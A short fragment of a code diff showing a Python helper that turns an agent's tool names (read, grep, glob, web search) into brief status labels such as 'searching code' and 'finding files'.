return f"reading {Path(args.get('path', 'file')).name}"
|
|
1030
|
+
if tool_name == "grep":
|
|
1031
|
+
return "searching code"
|
|
1032
|
+
if tool_name == "glob":
|
|
1033
|
+
return "finding files"
|
|
1034
|
+
if tool_name == "web_search":
|
|
1035
|
+
return "searching web"
|
|
1036
|
+
return tool_name
|